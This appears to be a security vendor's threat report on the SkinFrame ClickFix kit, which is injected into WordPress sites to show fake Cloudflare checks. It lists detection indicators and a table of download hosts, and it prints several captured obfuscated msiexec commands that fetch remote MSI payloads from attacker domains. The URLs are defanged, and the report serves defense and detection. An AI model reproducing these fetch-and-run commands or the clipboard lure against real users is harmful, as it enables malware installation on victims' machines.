Web threats / ClickFix

SkinFrame ClickFix kit

SkinFrame is a ClickFix kit that hides the page and frames a fake check over it, picking a design for each visitor's platform. We have matched it on 1,190 sites since 7 September.

SkinFrame in numbers

Since 7 September, the first SkinFrame match in our records, counted on 12 November 2026. How we count.

Sites with SkinFrame code1,190
Sites with a match in the last 30 days896
New sites in October717
New sites in November so far232
Sites running WordPress (captured since 25 September)98%

Hide the page, then cover it

SkinFrame starts by hiding the site. The injected block adds a style called cf-captcha-hide-style and a cf-captcha-pending class, then loads the kit's embed.js from a short list of controller hosts, such as js-static[.]cfd, with Base64 and plain-text copies of the list as fallbacks. The block is built to survive optimisation: when LiteSpeed minifies and defers scripts, it moves itself into a Base64 data: URI and still runs. One build labels itself "v24".

One overlay, four skins

embed.js arrives with a configuration the server writes for each visit, and that configuration picks a design: a fake Cloudflare check, a reCAPTCHA, a QR code or an Android page. In practice only Windows is switched on.

The lure sits in a full-screen frame, #cf-captcha-overlay, over the hidden page. It is a Cloudflare checkbox. After the click it tells the visitor to press Win+R, then Ctrl+V, then Enter, in the visitor's language. The page, its core script and embed.js are all obfuscated, and the core script is large.

Where the command comes from

The command comes from the controller. The core script asks the controller's /api/s/boot route for it, though not on every visit: one capture loaded the core script and never asked, while a later one received the command 3.8 seconds into the visit, before any click. The script passes it up to the site's page as a cf_clipboard message, and embed.js copies it to the clipboard. Every step reports back: routes such as /api/s/steps and /api/s/ok, and events named verify_click, verify_enter and mshta_detected.

The recovered commands use different Windows tools. One reply was a plain mshta call to a remote address. Another was an msiexec /package call with mixed-case letters, pointing at a host spelled to look like a Cloudflare domain, with an MSI property holding fake text that tells the visitor to press Enter to verify. Commands captured on 10 November 2026 fetch the package from www.restapi-web-cf[.]cfd through a mixed http:/\ prefix, which Windows accepts as a URL:

msiexec /package http:/\www.restapi-web-cf[.]cfd\[id] /Q

What we see

MonthNew sites
September241
October717
November so far232

98% of the sites captured since 25 September run WordPress, and 55% of those run WordPress 7.1.

Researchers and abuse reports file this activity under ClearFake and IClickFix.

Checking a site

View the page source, or the rendered page in developer tools, and look for:

  • a style or class named cf-captcha-hide-style or cf-captcha-pending
  • a script loading embed.js from a host you do not recognise
  • an element with the id cf-captcha-overlay
  • a data: URI script that decodes to the same block

A site that loads blank for a moment before a Cloudflare check appears is worth a closer look.

Hosts its commands download from

SkinFrame lure commands we captured download from 33 hosts. These are the 10 on the most sites.

HostSitesLast seenLatest command
coeuau[.]com51
Decoded URL

URL hxxp://coeuau[.]com/sulzv7zjwvhs7k

First seen 6 October 2026, 51 URLs on this host.

cf-www[.]com35
Command
msieXeC.exe /i hxxp:\\cf-www[.]com\k3kwfghbu2fro1 /Q S1="Dеviсе Sеtuр Ноst 10.0.19041 rеаdy                                      То  vеrify  рush  thе  ЕNTЕR  kеy             "

URL hxxp://cf-www[.]com/k3kwfghbu2fro1

First seen 30 September 2026, 37 URLs on this host.

www[.]cf-web-restapi[.]cfd32
Command
msIeXeC.exe /package hxxp:/\www[.]cf-web-restapi[.]cfd\1apsivec1id1z0 /Q S1=" "

URL hxxp://www[.]cf-web-restapi[.]cfd/1apsivec1id1z0

First seen 9 November 2026, 32 URLs on this host.

cf-restapi[.]com29
Decoded URL

URL hxxp://cf-restapi[.]com/w4dbo4uh79vnbf

First seen 12 October 2026, 31 URLs on this host.

api-cf[.]com22
Command
MSIEXEC.exe /i hxxp:\\api-cf[.]com/3deayr8287fpti /qn S1="Ноst Рrосеss fоr Windоws Sеrviсеs 10.0.19041                            То  vеrify  рush  thе  ЕNTЕR  kеy             "

URL hxxp://api-cf[.]com/3deayr8287fpti

First seen 14 October 2026, 22 URLs on this host.

api-v1[.]cfd21
Command
msiexeC.exe /i hxxps:/\api-v1[.]cfd\xdgh2uj11w7h1w /QN S1="с​асhе id​lе                                                       Т​о  vеr​if​y  рu​sh  th​е  ЕNT​ЕR  kе​y             "

URL hxxps://api-v1[.]cfd/xdgh2uj11w7h1w

First seen 20 October 2026, 20 URLs on this host.

cf-com[.]sbs20
Command
MSiExec.exe /i hxxps:/\CF-com[.]sbs\tiokzv947cnsk9 /QN S1="Рrосеs5  о3  М5dulе  Nеt0оrk                                  𝚃​𝚘  𝚟​𝚎𝚛𝚒𝚏𝚢  𝚙𝚞​𝚜𝚑  𝚝​𝚑𝚎  𝙴​𝙽𝚃𝙴𝚁  𝚔​𝚎𝚢          "

URL hxxps://CF-com[.]sbs/tiokzv947cnsk9

First seen 26 October 2026, 20 URLs on this host.

api-com[.]cfd19
Command
MsiExeC.exe /i hxxps:/\API-com[.]cfd\ke4uphjqliyeiw /QN S1="Моnit0r  I7stаllеr  Аg8nt  Н1st                               𝗧​𝗼  𝘃𝗲𝗿𝗶​𝗳𝘆  𝗽​𝘂𝘀𝗵  𝘁𝗵​𝗲  𝗘​𝗡𝗧𝗘𝗥  𝗸𝗲​𝘆          "

URL hxxps://API-com[.]cfd/ke4uphjqliyeiw

First seen 27 October 2026, 19 URLs on this host.

www[.]restapi-web-cf[.]cfd14
Command
mSiexEC.exe /package hxxp:/\www[.]restapi-web-cf[.]cfd\u6ot13hw7pu43d /Q S1=" "

URL hxxp://www[.]restapi-web-cf[.]cfd/u6ot13hw7pu43d

First seen 10 November 2026, 14 URLs on this host.

ld-com[.]cfd13
Command
msiEXeC.exe /i hxxps:/\lD-com[.]cfd\dbaz51zl1e3fse /QN S1="4есurity  са1hе  Вrоkе7  S5rrоgаtе                            𝚃​𝚘  𝚟𝚎𝚛𝚒​𝚏𝚢  𝚙​𝚞𝚜𝚑  𝚝𝚑​𝚎  𝙴𝙽𝚃​𝙴𝚁  𝚔​𝚎𝚢          "

URL hxxps://lD-com[.]cfd/dbaz51zl1e3fse

First seen 25 October 2026, 13 URLs on this host.

The ClickFix command tracker lists every host.

Try the feed for 14 days.

Request a trial and we'll send you a live API key, with the same feed, removals and reasons a customer gets.